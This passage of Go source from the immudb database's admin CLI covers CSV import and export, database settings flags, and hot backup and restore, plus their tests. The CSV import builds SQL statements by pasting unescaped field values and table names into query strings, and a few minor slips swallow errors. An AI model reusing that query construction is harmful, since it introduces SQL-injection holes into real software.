rowToCSV(row, cols, out); err != nil { return err } if err := writer.Write(out); err != nil { return err } } return writer.Error() }, Args: cobra.ExactArgs(1), } exportCmd.Flags().String("o", "", "output") exportCmd.Flags().String("s", ",", "separator") return exportCmd } func rowToCSV(row client.Row, cols []client.Column, out []string) error { for i, v := range row { colType := cols[i].Type rv, err := renderValue(v, colType) if err != nil { return err } out[i] = rv } return nil } func renderValue(v interface{}, colType string) (string, error) { switch colType { case sql.VarcharType, sql.JSONType, sql.UUIDType: s, isStr := v.(string) if !isStr { return "", fmt.Errorf("invalid value received") } return s, nil default: sqlVal, err := schema.AsSQLValue(v) if err != nil { return "", err } return schema.RenderValue(sqlVal.Value), nil } } func (cl *commandline) createImportCmd() *cobra.Command { importCmd := &cobra.Command{ Use: "import", Short: "Insert data to an existing table from a csv file", Aliases: []string{"i"}, ArgAliases: []string{"file"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { inputPath := args[0] csvFile, err := os.Open(inputPath) if err != nil { return err } defer csvFile.Close() sep, err := cmd.Flags().GetString("s") if err != nil { return err } if len(sep) != 1 { return fmt.Errorf("invalid separator") } reader := csv.NewReader(csvFile) reader.Comma = rune(sep[0]) reader.ReuseRecord = true hasHeader, err := cmd.Flags().GetBool("h") if err != nil { return err } table, err := cmd.Flags().GetString("t") if err != nil { return err } if table == "" { return fmt.Errorf("table name not specified") } if hasHeader { _, err := reader.Read() if err != nil && err != io.EOF { return nil } } // fetch column information res, err := cl.immuClient.SQLQuery(cl.context, fmt.Sprintf("SELECT * FROM %s WHERE 1 = 0", table), nil, false) if err != nil { return err } cols := make([]string, len(res.Columns)) for i, col := range res.Columns { cols[i] = formatColName(col.Name) } row, err := reader.Read() for err == nil { if len(row) != len(cols) { return fmt.Errorf("wrong number of columns") } for i, v := range row { row[i] = formatInsertValue(v, res.Columns[i].Type) } _, err = cl.immuClient.SQLExec( cl.context, fmt.Sprintf("INSERT INTO %s(%s) VALUES (%s)", table, strings.Join(cols, ","), strings.Join(row, ",")), nil, ) if err != nil { return err } row, err = reader.Read() } if err != io.EOF { return err } return nil }, Args: cobra.ExactArgs(1), } importCmd.Flags().String("t", "", "table") importCmd.Flags().Bool("h", true, "interpret the first column as header") importCmd.Flags().String("s", ",", "separator") return importCmd } func formatColName(col string) string { idx := strings.Index(col, ".") if idx >= 0 { return col[idx+1 : len(col)-1] } return col } func formatInsertValue(v string, colType string) string { if v == "NULL" { return v } switch colType { case sql.VarcharType: return fmt.Sprintf("'%s'", v) case sql.TimestampType, sql.JSONType, sql.UUIDType: return fmt.Sprintf("CAST ('%s' AS %s)", v, colType) case sql.BLOBType: return fmt.Sprintf("x'%s'", v) } return v } func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNullableSettings, error) { var err error condBool := func(name string) (*schema.NullableBool, error) { if flags.Changed(name) { val, err := flags.GetBool(name) if err != nil { return nil, err } return &schema.NullableBool{Value: val}, nil } return nil, nil } condString := func(name string) (*schema.NullableString, error) { if flags.Changed(name) { val, err := flags.GetString(name) if err != nil { return nil, err } return &schema.NullableString{Value: val}, nil } return nil, nil } condUInt32 := func(name string) (*schema.NullableUint32, error) { if flags.Changed(name) { val, err := flags.GetUint32(name) if err != nil { return nil, err } return &schema.NullableUint32{Value: val}, nil } return nil, nil } condFloat32 := func(name string) (*schema.NullableFloat, error) { if flags.Changed(name) { val, err := flags.GetFloat32(name) if err != nil { return nil, err } return &schema.NullableFloat{Value: val}, nil } return nil, nil } condDuration := func(name string) (*schema.NullableMilliseconds, error) { if flags.Changed(name) { val, err := flags.GetDuration(name) if err != nil { return nil, err } return &schema.NullableMilliseconds{Value: val.Milliseconds()}, nil } return nil, nil } ret := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{}, IndexSettings: &schema.IndexNullableSettings{}, } ret.ExcludeCommitTime, err = condBool("exclude-commit-time") if err != nil { return nil, err } ret.EmbeddedValues, err = condBool("embedded-values") if err != nil { return nil, err } ret.PreallocFiles, err = condBool("prealloc-files") if err != nil { return nil, err } ret.ReplicationSettings.Replica, err = condBool("replication-is-replica") if err != nil { return nil, err } ret.ReplicationSettings.SyncReplication, err = condBool("replication-sync-enabled") if err != nil { return nil, err } ret.ReplicationSettings.SyncAcks, err = condUInt32("replication-sync-acks") if err != nil { return nil, err } ret.ReplicationSettings.PrimaryDatabase, err = condString("replication-primary-database") if err != nil { return nil, err } ret.ReplicationSettings.PrimaryHost, err = condString("replication-primary-host") if err != nil { return nil, err } ret.ReplicationSettings.PrimaryPort, err = condUInt32("replication-primary-port") if err != nil { return nil, err } ret.ReplicationSettings.PrimaryUsername, err = condString("replication-primary-username") if err != nil { return nil, err } ret.ReplicationSettings.PrimaryPassword, err = condString("replication-primary-password") if err != nil { return nil, err } ret.ReplicationSettings.PrefetchTxBufferSize, err = condUInt32("replication-prefetch-tx-buffer-size") if err != nil { return nil, err } ret.ReplicationSettings.ReplicationCommitConcurrency, err = condUInt32("replication-commit-concurrency") if err != nil { return nil, err } ret.ReplicationSettings.AllowTxDiscarding, err = condBool("replication-allow-tx-discarding") if err != nil { return nil, err } ret.ReplicationSettings.SkipIntegrityCheck, err = condBool("replication-skip-integrity-check") if err != nil { return nil, err } ret.ReplicationSettings.WaitForIndexing, err = condBool("replication-wait-for-indexing") if err != nil { return nil, err } ret.IndexSettings.FlushThreshold, err = condUInt32("indexing-flush-threshold") if err != nil { return nil, err } ret.IndexSettings.CleanupPercentage, err = condFloat32("indexing-cleanup-percentage") if err != nil { return nil, err } ret.IndexSettings.SyncThreshold, err = condUInt32("indexing-sync-threshold") if err != nil { return nil, err } ret.IndexSettings.CacheSize, err = condUInt32("indexing-cache-size") if err != nil { return nil, err } ret.IndexSettings.MaxActiveSnapshots, err = condUInt32("indexing-max-active-snapshots") if err != nil { return nil, err } ret.WriteTxHeaderVersion, err = condUInt32("write-tx-header-version") if err != nil { return nil, err } ret.MaxConcurrency, err = condUInt32("max-commit-concurrency") if err != nil { return nil, err } ret.SyncFrequency, err = condDuration("sync-frequency") if err != nil { return nil, err } ret.WriteBufferSize, err = condUInt32("write-buffer-size") if err != nil { return nil, err } ret.ReadTxPoolSize, err = condUInt32("read-tx-pool-size") if err != nil { return nil, err } ret.Autoload, err = condBool("autoload") if err != nil { return nil, err } retentionPeriod, err := condDuration("retention-period") if err != nil { return nil, err } truncationFrequency, err := condDuration("truncation-frequency") if err != nil { return nil, err } if retentionPeriod != nil || truncationFrequency != nil { ret.TruncationSettings = &schema.TruncationNullableSettings{ RetentionPeriod: retentionPeriod, TruncationFrequency: truncationFrequency, } } return ret, nil } func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) string { propertiesStr := []string{} if settings.ReplicationSettings != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("replica: %v", settings.ReplicationSettings.Replica.GetValue())) } if settings.ExcludeCommitTime != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("exclude-commit-time: %v", settings.ExcludeCommitTime.GetValue())) } if settings.EmbeddedValues != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("embedded-values: %v", settings.EmbeddedValues.GetValue())) } if settings.PreallocFiles != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("prealloc-files: %v", settings.PreallocFiles.GetValue())) } if settings.WriteTxHeaderVersion != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("write-tx-header-version: %d", settings.WriteTxHeaderVersion.GetValue())) } if settings.MaxConcurrency != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("max-commit-concurrency: %d", settings.GetMaxConcurrency().GetValue())) } if settings.SyncFrequency != nil { syncFreq := time.Duration(settings.GetSyncFrequency().GetValue()) * time.Millisecond propertiesStr = append(propertiesStr, fmt.Sprintf("sync-frequency: %v", syncFreq)) } if settings.WriteBufferSize != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("write-buffer-size: %d", settings.GetWriteBufferSize().GetValue())) } if settings.ReadTxPoolSize != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("read-tx-pool-size: %d", settings.GetMaxConcurrency().GetValue())) } if settings.Autoload != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("autoload: %v", settings.Autoload.GetValue())) } if settings.TruncationSettings != nil { if settings.TruncationSettings.RetentionPeriod != nil { retDur := time.Duration(settings.TruncationSettings.GetRetentionPeriod().GetValue()) * time.Millisecond propertiesStr = append(propertiesStr, fmt.Sprintf("retention-period: %v", retDur)) } if settings.TruncationSettings.TruncationFrequency != nil { freq := time.Duration(settings.TruncationSettings.GetTruncationFrequency().GetValue()) * time.Millisecond propertiesStr = append(propertiesStr, fmt.Sprintf("truncation-frequency: %v", freq)) } } return strings.Join(propertiesStr, ", ") } func addDbTruncateFlags(c *cobra.Command) { c.Flags().Bool("yes-i-know-what-i-am-doing", false, "safety flag to confirm database truncation") c.Flags().Duration("retention-period", 0, "duration of time to retain data in storage") c.MarkFlagRequired("yes-i-know-what-i-am-doing") } ================================================ FILE: cmd/immuadmin/command/database_test.go ================================================ package immuadmin /* func TestDatabaseList(t *testing.T) { options := server.DefaultOptions().WithAuth(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() defer os.RemoveAll(options.Dir) defer os.Remove(".state-") pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) cliopt.PasswordReader = pr cliopt.DialOptions = dialOptions clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.database(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil cmdlist := cmd.Commands()[0].Commands()[1] cmdlist.PersistentPreRunE = nil b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"database", "list"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "defaultdb") } func TestDatabaseCreate(t *testing.T) { options := server.DefaultOptions().WithAuth(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() defer os.RemoveAll(options.Dir) defer os.Remove(".state-") pr := &immuclienttest.PasswordReader{ Pass: []string{"immudb"}, } ctx := context.Background() dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } cliopt := Options().WithDialOptions(dialOptions).WithPasswordReader(pr) cliopt.PasswordReader = pr cliopt.DialOptions = dialOptions clientb, _ := client.NewImmuClient(cliopt) token, err := clientb.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", token.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) cmdl := commandline{ options: cliopt, immuClient: clientb, passwordReader: pr, context: ctx, } cmd, _ := cmdl.NewCmd() cmdl.database(cmd) // remove ConfigChain method to avoid override options cmd.PersistentPreRunE = nil cmdlist := cmd.Commands()[0].Commands()[0] cmdlist.PersistentPreRunE = nil b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"database", "create", "mynewdb"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "database successfully created") } */ ================================================ FILE: cmd/immuadmin/command/hot_backup.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "bytes" "context" "encoding/binary" "errors" "fmt" "io" "os" "os/signal" "google.golang.org/grpc/metadata" "github.com/schollz/progressbar/v2" "github.com/spf13/cobra" "github.com/spf13/pflag" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/immuos" ) const ( prefix = "IMMUBACKUP" latestFileVersion = 1 ) const ( prefixOffset = iota versionOffset = prefixOffset + len(prefix) txIdOffset = versionOffset + 4 txSignSizeOffset = txIdOffset + 8 txSizeOffset = txSignSizeOffset + 4 headerSize = txSizeOffset + 4 ) var ErrMalformedFile = errors.New("malformed backup file") var ErrTxWrongOrder = errors.New("incorrect transaction order in file") var ErrTxNotInFile = errors.New("last known transaction not in file") type commandlineHotBck struct { commandline cmd *cobra.Command } func newCommandlineHotBck(os immuos.OS) (*commandlineHotBck, error) { cl := commandline{} cl.config.Name = "immuadmin" cl.context = context.Background() cl.os = os return &commandlineHotBck{commandline: cl}, nil } func (clb *commandlineHotBck) Register(rootCmd *cobra.Command) *cobra.Command { clb.hotBackup(rootCmd) clb.hotRestore(rootCmd) return rootCmd } type backupParams struct { output string startTx uint64 append bool progress bool } func (cl *commandlineHotBck) hotBackup(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "hot-backup ", Short: "Make a copy of the database without stopping", Long: "Backup a database to file/stream without stopping the database engine. " + "Backup can run from the beginning or starting from arbitrary transaction.", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { file := io.Writer(os.Stdout) params, err := prepareBackupParams(cmd.Flags()) if err != nil { return err } udr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: args[0]}) if err != nil { return err } cl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs("authorization", udr.GetToken())) if params.output != "-" { f, err := cl.verifyOrCreateBackupFile(params) if err != nil { return err } defer f.Close() file = f } return cl.runHotBackup(file, params.startTx, params.progress) }, Args: cobra.ExactArgs(1), } ccmd.Flags().StringP("output", "o", "-", "output file, \"-\" for stdout") ccmd.Flags().Uint64("start-tx", 1, "Transaction ID to start from") ccmd.Flags().Bool("progress-bar", false, "show progress indicator") ccmd.Flags().Bool("append", false, "append to file, if it already exists (for file output only)") cmd.AddCommand(ccmd) cl.cmd = cmd } func prepareBackupParams(flags *pflag.FlagSet) (*backupParams, error) { var params backupParams var err error params.output, err = flags.GetString("output") if err != nil { return nil, err } params.append, err = flags.GetBool("append") if err != nil { return nil, err } params.startTx, err = flags.GetUint64("start-tx") if err != nil { return nil, err } params.progress, err = flags.GetBool("progress-bar") if err != nil { return nil, err } if params.startTx > 1 && params.append { return nil, errors.New("don't use --append and --start-tx options together") } if params.output == "-" && params.append { return nil, errors.New("--append option can be used only when outputting to the file") } return ¶ms, nil } func (cl *commandlineHotBck) verifyOrCreateBackupFile(params *backupParams) (*os.File, error) { var f *os.File _, err := os.Stat(params.output) if err == nil { // file exists - find last tx in file and check whether it matches the one in DB if !params.append { return nil, errors.New("file already exists, use --append option to append new data to file") } f, err = os.OpenFile(params.output, os.O_RDWR, 0) if err != nil { return nil, err } last, fileChecksum, err := lastTxInFile(f) if err != nil { return nil, err } txn, err := cl.immuClient.TxByID(cl.context, last) if err != nil { return nil, fmt.Errorf("cannot find file's last transaction %d in database: %v", last, err) } alh := schema.TxHeaderFromProto(txn.Header).Alh() if !bytes.Equal(fileChecksum, alh[:]) { return nil, fmt.Errorf("checksums for transaction %d in backup file and database differ - probably file was created from different database", last) } params.startTx = last + 1 } else if os.IsNotExist(err) { f, err = os.Create(params.output) if err != nil { return nil, err } } else { return nil, err } return f, nil } func (cl *commandlineHotBck) runHotBackup(output io.Writer, startTx uint64, progress bool) error { state, err := cl.immuClient.CurrentState(cl.context) if err != nil { return err } latestTx := state.TxId if latestTx < startTx { fmt.Fprintf(cl.cmd.ErrOrStderr(), "All backed up, nothing to do\n") return nil } if startTx == latestTx { fmt.Fprintf(cl.cmd.ErrOrStderr(), "Backing up transaction %d\n", startTx) } else { fmt.Fprintf(cl.cmd.ErrOrStderr(), "Backing up transactions from %d to %d\n", startTx, latestTx) } var bar *progressbar.ProgressBar if progress { bar = progressbar.NewOptions64(int64(latestTx-startTx+1), progressbar.OptionSetWriter(os.Stderr)) } done := make(chan struct{}, 1) defer close(done) terminated := make(chan os.Signal, 1) signal.Notify(terminated, os.Interrupt) stop := false go func() { select { case <-done: case <-terminated: stop = true } }() for i := startTx; i <= latestTx; i++ { if stop { fmt.Fprintf(cl.cmd.ErrOrStderr(), "Terminated by signal - stopped after tx %d\n", i-1) return nil } err = cl.backupTx(i, output) if err != nil { return err } if bar != nil { bar.Add(1) } } fmt.Fprintf(cl.cmd.ErrOrStderr(), "Done\n") return nil } func (cl *commandlineHotBck) backupTx(tx uint64, output io.Writer) error { stream, err := cl.immuClient.ExportTx(cl.context, &schema.ExportTxRequest{Tx: tx}) if err != nil { return fmt.Errorf("failed to export transaction: %w", err) } var content []byte for { var chunk *schema.Chunk chunk, err = stream.Recv() if errors.Is(err, io.EOF) { err = nil break } else if err != nil { break } content = append(content, chunk.Content...) } if err != nil { return fmt.Errorf("cannot process transaction data: %w", err) } err = stream.CloseSend() if err != nil { return fmt.Errorf("CloseSend returned %v", err) } txn, err := cl.immuClient.TxByID(cl.context, tx) if err != nil { return err } alh := schema.TxHeaderFromProto(txn.Header).Alh() err = outputTx(tx, output, alh[:], content) if err != nil { return err } return nil } func outputTx(tx uint64, output io.Writer, checksum []byte, content []byte) error { payload := make([]byte, headerSize, headerSize+len(checksum)+len(content)) copy(payload[prefixOffset:], prefix) binary.BigEndian.PutUint32(payload[versionOffset:], latestFileVersion) binary.BigEndian.PutUint64(payload[txIdOffset:], tx) binary.BigEndian.PutUint32(payload[txSignSizeOffset:], uint32(len(checksum))) binary.BigEndian.PutUint32(payload[txSizeOffset:], uint32(len(content))) payload = append(payload, checksum...) payload = append(payload, content...) _, err := output.Write(payload) return err } type restoreParams struct { input string append bool progress bool force bool verify bool replica bool } func (cl *commandlineHotBck) hotRestore(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "hot-restore ", Short: "Restore data from backup file", Long: "Restore saved transaction from backup file without stopping the database engine. " + "Restore can restore the data from scratch or apply only the missing data.", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { params, err := prepareRestoreParams(cmd.Flags()) if err != nil { return err } file := io.Reader(os.Stdin) if params.input != "-" { f, err := os.Open(params.input) if err != nil { return err } file = f defer f.Close() } if params.verify { return cl.verifyFile(file) } dbExist, err := cl.isDbExists(args[0]) if err != nil { return err } var firstTx uint64 if dbExist { // if initDbForRestore inserts first transaction, it returns non-zero firstTx firstTx, err = cl.initDbForRestore(params, args[0], file) if err != nil { return err } } else { // db does not exist - create as replica and use it err = cl.createDb(args[0]) if err != nil { return err } params.replica = true } if params.replica { defer func() { err = cl.immuClient.UpdateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: args[0], Replica: false}) if err != nil { fmt.Fprintf(cl.cmd.ErrOrStderr(), "Error switching off replica mode for db: %v", err) } }() } return cl.runHotRestore(file, params.progress, firstTx) }, Args: func(cmd *cobra.Command, args []string) error { verify, _ := cmd.Flags().GetBool("verify-only") if verify { return cobra.ExactArgs(0)(cmd, args) } return cobra.ExactArgs(1)(cmd, args) }, } ccmd.Flags().StringP("input", "i", "-", "input file file, \"-\" for stdin") ccmd.Flags().Bool("verify-only", false, "do not restore data, only verify backup") ccmd.Flags().Bool("append", false, "appending to DB, if it already exists") ccmd.Flags().Bool("progress-bar", false, "show progress indicator") ccmd.Flags().Bool("force", false, "don't check transaction sequence") ccmd.Flags().Bool("force-replica", false, "switch database to replica mode for the duration of restore") cmd.AddCommand(ccmd) cl.cmd = cmd } func prepareRestoreParams(flags *pflag.FlagSet) (*restoreParams, error) { var params restoreParams var err error params.input, err = flags.GetString("input") if err != nil { return nil, err } params.append, err = flags.GetBool("append") if err != nil { return nil, err } params.force, err = flags.GetBool("force") if err != nil { return nil, err } params.verify, err = flags.GetBool("verify-only") if err != nil { return nil, err } params.progress, err = flags.GetBool("progress-bar") if err != nil { return nil, err } params.replica, err = flags.GetBool("force-replica") if err != nil { return nil, err } return ¶ms, nil } func (cl *commandlineHotBck) verifyFile(file io.Reader) error { firstTx, _, _, err := nextTx(file) if err != nil { return err } lastTx := firstTx lastTx, _, err = lastTxInFile(file) if err != nil { return err } if lastTx == firstTx { fmt.Fprintf(cl.cmd.OutOrStdout(), "Backup file contains transaction %d\n", firstTx) } else { fmt.Fprintf(cl.cmd.OutOrStdout(), "Backup file contains transactions from %d to %d\n", firstTx, lastTx) } return nil } func (cl *commandlineHotBck) isDbExists(name string) (bool, error) { dbList, err := cl.immuClient.DatabaseList(cl.context) if err != nil { return false, err } dbExist := false for _, db := range dbList.Databases { if db.DatabaseName == name { dbExist = true break } } return dbExist, nil } // prepare existing Db for restore // What DB is not empty, it reads first transaction from input stream. Because we cannot re-position in the stream, // in some situation (when there is no gap and no overlap between DB and file) this transaction gets restored to DB, // in this case non-zero tx ID is returned func (cl *commandlineHotBck) initDbForRestore(params *restoreParams, name string, file io.Reader) (uint64, error) { lastTx, checksum, err := cl.useDb(name, params.replica) if err != nil { return 0, nil } if lastTx == 0 { // db is empty - nothing to verify return 0, nil } if !params.append { return 0, errors.New("cannot restore to non-empty database without --append flag") } // find the nearest transaction in backup file and position the file just after the transaction txId, fileChecksum, payload, err := findTx(file, lastTx) if err != nil { return 0, err } gap := txId - lastTx if gap > 1 { return 0, fmt.Errorf("there is a gap of %d transaction(s) between database and file - restore not possible", gap-1) } if gap == 1 { if !params.force { return 0, errors.New("not possible to validate last transaction in DB - use --force to override") } err = cl.restoreTx(fileChecksum, payload) if err != nil { return 0, err } return txId, nil // indicate to caller that first transaction to restore is already read } if !bytes.Equal(fileChecksum, checksum) { return 0, fmt.Errorf("checksums for tx %d in backup file and database differ - cannot append data to the database", lastTx) } return 0, nil } func (cl *commandlineHotBck) useDb(name string, replica bool) (uint64, []byte, error) { udr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: name}) if err != nil { return 0, nil, err } cl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs("authorization", udr.GetToken())) if replica { err = cl.immuClient.UpdateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true}) if err != nil { return 0, nil, fmt.Errorf("cannot switch on replica mode for db: %v", err) } } state, err := cl.immuClient.CurrentState(cl.context) if err != nil { return 0, nil, err } txn, err := cl.immuClient.TxByID(cl.context, state.TxId) if err != nil { return 0, nil, err } alh := schema.TxHeaderFromProto(txn.Header).Alh() return state.TxId, alh[:], nil } func (cl *commandlineHotBck) createDb(name string) error { err := cl.immuClient.CreateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true, PrimaryDatabase: "dummy"}) if err != nil { return err } udr, err := cl.immuClient.UseDatabase(cl.context, &schema.Database{DatabaseName: name}) if err != nil { return err } cl.context = metadata.NewOutgoingContext(cl.context, metadata.Pairs("authorization", udr.GetToken())) return nil } // run actual restore. First transaction maybe already restored, so use firstTx as start value, when set func (cl *commandlineHotBck) runHotRestore(input io.Reader, progress bool, firstTx uint64) error { var bar *progressbar.ProgressBar if progress { bar = progressbar.New(-1) } done := make(chan struct{}, 1) defer close(done) terminated := make(chan os.Signal, 1) signal.Notify(terminated, os.Interrupt) stop := false go func() { select { case <-done: case <-terminated: fmt.Fprintf(cl.cmd.ErrOrStderr(), "Terminated by signal\n") stop = true } }() lastTx := firstTx for !stop { tx, checksum, payload, err := nextTx(input) if errors.Is(err, io.EOF) { break } if err != nil { return err } err = cl.restoreTx(checksum, payload) if err != nil { return err } if firstTx == 0 { firstTx = tx } lastTx = tx if bar != nil { bar.Add(1) } } if firstTx == 0 { fmt.Fprintf(cl.cmd.OutOrStdout(), "Target database is up-to-date, nothing restored\n") } else if firstTx == lastTx { fmt.Fprintf(cl.cmd.OutOrStdout(), "Restored transaction %d\n", firstTx) } else { fmt.Fprintf(cl.cmd.OutOrStdout(), "Restored transactions from %d to %d\n", firstTx, lastTx) } return nil } func (cl *commandlineHotBck) restoreTx(checksum, payload []byte) error { maxChunkSize := uint32(cl.options.StreamChunkSize) stream, err := cl.immuClient.ReplicateTx(cl.context) if err != nil { return err } offset := uint32(0) remainder := uint32(len(payload)) for remainder > 0 { chunkSize := maxChunkSize if remainder < maxChunkSize { chunkSize = remainder } err = stream.Send(&schema.Chunk{Content: payload[offset : offset+chunkSize]}) if err != nil { return err } remainder -= chunkSize offset += chunkSize } hdr, err := stream.CloseAndRecv() if err != nil { return err } alh := schema.TxHeaderFromProto(hdr).Alh() if !bytes.Equal(checksum, alh[:]) { return fmt.Errorf("transaction checksums don't match") } return nil } // lastTxInFile assumes that file is positioned on transaction boundary // it also can be used to validate file correctness // in case of success file pointer is positioned to file end func lastTxInFile(file io.Reader) (uint64, []byte, error) { last := uint64(0) var checksum []byte for { var cur uint64 var err error var txSign []byte cur, txSign, _, err = nextTx(file) if errors.Is(err, io.EOF) { break } if err != nil { return 0, nil, err } if cur != last+1 && last > 0 { return 0, nil, ErrTxWrongOrder } last = cur checksum = txSign } return last, checksum, nil } // returns tx smallest possible ID which is greater of equal to the one requested func findTx(file io.Reader, tx uint64) (txID uint64, checksum []byte, payload []byte, err error) { for { txID, checksum, payload, err = nextTx(file) if err != nil { return } if txID >= tx { break } } return } // read transaction, position stream pointer just after the transaction func nextTx(file io.Reader) (txId uint64, checksum []byte, tx []byte, err error) { header := make([]byte, headerSize) _, err = io.ReadFull(file, header) if err != nil { return } if !bytes.Equal(header[:versionOffset], []byte(prefix)) { err = ErrMalformedFile return } formatVersion := binary.BigEndian.Uint32(header[versionOffset:]) if formatVersion != latestFileVersion { err = ErrMalformedFile return } txId = binary.BigEndian.Uint64(header[txIdOffset:]) signSize := binary.BigEndian.Uint32(header[txSignSizeOffset:]) txSize := binary.BigEndian.Uint32(header[txSizeOffset:]) payload := make([]byte, signSize+txSize) _, err = io.ReadFull(file, payload) if err != nil { return } checksum = payload[:signSize] tx = payload[signSize:] return } ================================================ FILE: cmd/immuadmin/command/hot_backup_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuadmin import ( "bytes" "context" "fmt" "io/ioutil" "path/filepath" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func getCmdline(t *testing.T) *commandline { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithDir(t.TempDir()), ) bs.Start() t.Cleanup(func() { bs.Stop() }) client, err := bs.NewAuthenticatedClient(client. DefaultOptions(). WithDir(t.TempDir()), ) require.NoError(t, err) t.Cleanup(func() { client.CloseSession(context.Background()) }) return &commandline{ config: helper.Config{Name: "immuadmin"}, options: client.GetOptions(), immuClient: client, context: context.Background(), } } func TestRestore(t *testing.T) { fmt.Println("Restore") cl := commandlineHotBck{} cmd, _ := cl.NewCmd() cmdl := commandlineHotBck{commandline: *getCmdline(t)} cmdl.hotBackup(cmd) cmdl.hotRestore(cmd) output := bytes.NewBufferString("") cmd.SetOut(output) cmd.SetErr(output) // disable connects/disconnects, cmd already contains connected immudb client cmds := cmd.Commands() cmds[0].PersistentPreRunE = nil cmds[0].PersistentPostRun = nil cmds[1].PersistentPreRunE = nil cmds[1].PersistentPostRun = nil // full restore (1-10) cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/1-10.backup"}) err := cmd.Execute() require.NoError(t, err) out, err := ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Restored transactions from 1 to 10") // append w/o append flag (10-11), should fail cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/10-11.backup"}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: cannot restore to non-empty database without --append flag") // gap in transactions (last in DB - 10, first in file - 12), should fail cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/12-14.backup", "--append"}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: there is a gap of 1 transaction(s) between database and file - restore not possible") // append with overlap (10-11), txn 10 is verified. txn 11 is restored cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/10-11.backup", "--append", "--force-replica"}) err = cmd.Execute() require.NoError(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Restored transaction 11") // append without overlap (last in DB - 11, first in file - 12) - 11th txn cannot be verified, should fail cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/12-14.backup", "--append", "--force-replica"}) err = cmd.Execute() require.Error(t, err) out, err = ioutil.ReadAll(output) require.NoError(t, err) assert.Contains(t, string(out), "Error: not possible to validate last transaction in DB - use --force to override") // append without overlap (last in DB - 11, first in file - 12) - 11th txn cannot be verified, forced cmd.SetArgs([]string{"hot-restore", "test", "-i", "testdata/12-14.backup", "--append", "--force", "--force-replica"}) err = 